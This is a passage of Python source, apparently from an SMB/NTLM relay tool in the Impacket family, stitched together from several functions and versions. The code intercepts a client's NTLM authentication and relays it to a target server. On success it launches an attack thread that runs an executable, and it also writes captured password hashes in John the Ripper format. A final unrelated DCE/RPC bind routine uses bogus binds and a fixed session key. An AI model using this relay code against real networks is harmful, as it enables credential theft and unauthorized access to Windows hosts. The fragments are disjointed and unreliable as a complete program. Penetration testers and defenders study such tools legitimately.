'SecurityBlobLength'] respData['SecurityBlob'] = respToken.getData() else: # Process Standard Security #TODO: Fix this for other protocols than SMB [!] respParameters = smb.SMBSessionSetupAndXResponse_Parameters() respData = smb.SMBSessionSetupAndXResponse_Data() sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters( SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Data() sessionSetupData['AnsiPwdLength'] = sessionSetupParameters[ 'AnsiPwdLength'] sessionSetupData['UnicodePwdLength'] = sessionSetupParameters[ 'UnicodePwdLength'] sessionSetupData.fromString(SMBCommand['Data']) client = connData['SMBClient'] _, errorCode = client.sendStandardSecurityAuth(sessionSetupData) if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = smb.NewSMBPacket() packet[ 'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS packet[ 'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = b'\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff #Log this target as processed for this client self.targetprocessor.logTarget(self.target) # Finish client's connection #client.killConnection() return None, [packet], errorCode else: # We have a session, create a thread and do whatever we want self.authUser = ('%s/%s' % (sessionSetupData['PrimaryDomain'], sessionSetupData['Account'])).upper() LOG.info( "Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser)) # Log this target as processed for this client self.targetprocessor.logTarget(self.target, True, self.authUser) ntlm_hash_data = outputToJohnFormat( '', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) # Done with the relay for now. connData['Authenticated'] = True del (connData['relayToHost']) self.do_attack(client) # Now continue with the server ############################################################# respData['NativeOS'] = smbServer.getServerOS() respData['NativeLanMan'] = smbServer.getServerOS() respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode
def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus = False) ############################################################# # SMBRelay smbData = smbServer.getConnectionData('SMBRelay', False) ############################################################# respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) if connData['_dialects_parameters']['Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY: # Extended security. Here we deal with all SPNEGO stuff respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters() respData = smb.SMBSessionSetupAndX_Extended_Response_Data() sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data() sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength'] sessionSetupData.fromString(SMBCommand['Data']) connData['Capabilities'] = sessionSetupParameters['Capabilities'] if struct.unpack('B',sessionSetupData['SecurityBlob'][0])[0] != smb.ASN1_AID: # If there no GSSAPI ID, it must be an AUTH packet blob = smb.SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob']) token = blob['ResponseToken'] else: # NEGOTIATE packet blob = smb.SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob']) token = blob['MechToken'] # Here we only handle NTLMSSP, depending on what stage of the # authentication we are, we act on it messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0] if messageType == 0x01: # NEGOTIATE_MESSAGE negotiateMessage = ntlm.NTLMAuthNegotiate() negotiateMessage.fromString(token) # Let's store it in the connection data connData['NEGOTIATE_MESSAGE'] = negotiateMessage ############################################################# # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. # Let's send it to the target server and send the answer back to the client. smbClient = smbData[self.target]['SMBClient'] clientChallengeMessage = smbClient.sendNegotiate(token) challengeMessage = ntlm.NTLMAuthChallenge() challengeMessage.fromString(clientChallengeMessage) ############################################################# respToken = smb.SPNEGO_NegTokenResp() # accept-incomplete. We want more data respToken['NegResult'] = '\x01' respToken['SupportedMech'] = smb.TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] respToken['ResponseToken'] = str(challengeMessage) # Setting the packet to STATUS_MORE_PROCESSING errorCode = STATUS_MORE_PROCESSING_REQUIRED # Let's set up an UID for this connection and store it # in the connection's data # Picking a fixed value # TODO: Manage more UIDs for the same session connData['Uid'] = 10 # Let's store it in the connection data connData['CHALLENGE_MESSAGE'] = challengeMessage elif messageType == 0x03: # AUTHENTICATE_MESSAGE, here we deal with authentication authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) ############################################################# # SMBRelay: Ok, so now the have the Auth token, let's send it # back to the target system and hope for the best. smbClient = smbData[self.target]['SMBClient'] authData = sessionSetupData['SecurityBlob'] clientResponse, errorCode = smbClient.sendAuth(sessionSetupData['SecurityBlob']) if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = smb.NewSMBPacket() packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = '\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff # Reset the UID smbClient.setUid(0) return None, [packet], errorCode else: # We have a session, create a thread and do whatever we want del (smbData[self.target]) clientThread = doAttack(smbClient,self.exeFile) clientThread.start() # Now continue with the server ############################################################# respToken = smb.SPNEGO_NegTokenResp() # accept-completed respToken['NegResult'] = '\x00' # Status SUCCESS errorCode = STATUS_SUCCESS # Let's store it in the connection data connData['AUTHENTICATE_MESSAGE'] = authenticateMessage else: raise("Unknown NTLMSSP MessageType %d" % messageType) respParameters['SecurityBlobLength'] = len(respToken) respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] respData['SecurityBlob'] = respToken.getData() else: # Process Standard Security respParameters = smb.SMBSessionSetupAndXResponse_Parameters() respData = smb.SMBSessionSetupAndXResponse_Data() sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Data() sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength'] sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength'] sessionSetupData.fromString(SMBCommand['Data']) connData['Capabilities'] = sessionSetupParameters['Capabilities'] ############################################################# # SMBRelay smbClient = smbData[self.target]['SMBClient'] clientResponse, errorCode = smbClient.login_standard(sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = smb.NewSMBPacket() packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = '\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff # Reset the UID smbClient.setUid(0) return None, [packet], errorCode # Now continue with the server else: # We have a session, create a thread and do whatever we want del (smbData[self.target]) clientThread = doAttack(smbClient,self.exeFile) clientThread.start() # Remove the target server from our connection list, the work is done # Now continue with the server ############################################################# # Do the verification here, for just now we grant access # TODO: Manage more UIDs for the same session errorCode = STATUS_SUCCESS connData['Uid'] = 10 respParameters['Action'] = 0 respData['NativeOS'] = smbServer.getServerOS() respData['NativeLanMan'] = smbServer.getServerOS() respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData # From now on, the client can ask for other commands connData['Authenticated'] = True ############################################################# # SMBRelay smbServer.setConnectionData('SMBRelay', smbData) ############################################################# smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode
def bind(self, uuid, alter=0, bogus_binds=0): bind = MSRPCBind(endianness=self.endianness) syntax = '\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60' if self.endianness == '>': syntax = unpack('<LHHBB6s', syntax) syntax = pack('>LHHBB6s', *syntax) uuid = list(unpack('<LHHBB6sHH', uuid)) uuid[-1] ^= uuid[-2] uuid[-2] ^= uuid[-1] uuid[-1] ^= uuid[-2] uuid = pack('>LHHBB6sHH', *uuid) ctx = 0 for i in range(bogus_binds): bind.set_ctx_id(self._ctx, index=ctx) bind.set_trans_num(1, index=ctx) bind.set_if_binuuid('A' * 20, index=ctx) bind.set_xfer_syntax_binuuid(syntax, index=ctx) bind.set_xfer_syntax_ver(2, index=ctx) self._ctx += 1 ctx += 1 bind.set_ctx_id(self._ctx, index=ctx) bind.set_trans_num(1, index=ctx) bind.set_if_binuuid(uuid, index=ctx) bind.set_xfer_syntax_binuuid(syntax, index=ctx) bind.set_xfer_syntax_ver(2, index=ctx) bind.set_ctx_num(ctx + 1) if alter: bind.set_type(MSRPC_ALTERCTX) if (self.__auth_level != ntlm.NTLM_AUTH_NONE): if (self.__username is None) or (self.__password is None): self.__username, self.__password, nth, lmh = self._transport.get_credentials( ) auth = ntlm.NTLMAuthNegotiate() auth['auth_level'] = self.__auth_level auth['auth_ctx_id'] = self._ctx + 79231 bind.set_auth_data(str(auth)) self._transport.send(bind.get_packet()) s = self._transport.recv() if s != 0: resp = MSRPCBindAck(s) else: return 0 #mmm why not None? if resp.get_type() == MSRPC_BINDNAK: resp = MSRPCBindNak(s) status_code = resp.get_reason() if rpc_status_codes.has_key(status_code): raise Exception(rpc_status_codes[status_code], resp) else: raise Exception( 'Unknown DCE RPC fault status code: %.8x' % status_code, resp) self.__max_xmit_size = resp.get_max_tfrag() if self.__auth_level != ntlm.NTLM_AUTH_NONE: authResp = ntlm.NTLMAuthChallenge( data=resp.get_auth_data().tostring()) self._ntlm_challenge = authResp['challenge'] response = ntlm.NTLMAuthChallengeResponse(self.__username, self.__password, self._ntlm_challenge) response['auth_ctx_id'] = self._ctx + 79231 response['auth_level'] = self.__auth_level if self.__auth_level in (ntlm.NTLM_AUTH_CONNECT, ntlm.NTLM_AUTH_PKT_INTEGRITY, ntlm.NTLM_AUTH_PKT_PRIVACY): if self.__password: key = ntlm.compute_nthash(self.__password) if POW: hash = POW.Digest(POW.MD4_DIGEST) else: hash = MD4.new() hash.update(key) key = hash.digest() else: key = '\x00' * 16 if POW: cipher = POW.Symmetric(POW.RC4) cipher.encryptInit(key) self.cipher_encrypt = cipher.update else: cipher = ARC4.new(key) self.cipher_encrypt = cipher.encrypt if response['flags'] & ntlm.NTLMSSP_KEY_EXCHANGE: session_key = 'A' * 16 # XXX Generate random session key response['session_key'] = self.cipher_encrypt(session_key) if POW: cipher = POW.Symmetric(POW.RC4) cipher.encryptInit(session_key) self.cipher_encrypt = cipher.update else: cipher = ARC4.new(session_key) self.cipher_encrypt = cipher.encrypt self.sequence = 0 auth3 = MSRPCHeader() auth3.set_type(MSRPC_AUTH3) auth3.set_auth_data(str(response)) self._transport.send(auth3.get_packet(), forceWriteAndx=1) return resp # means packet is signed, if verifier is wrong it fails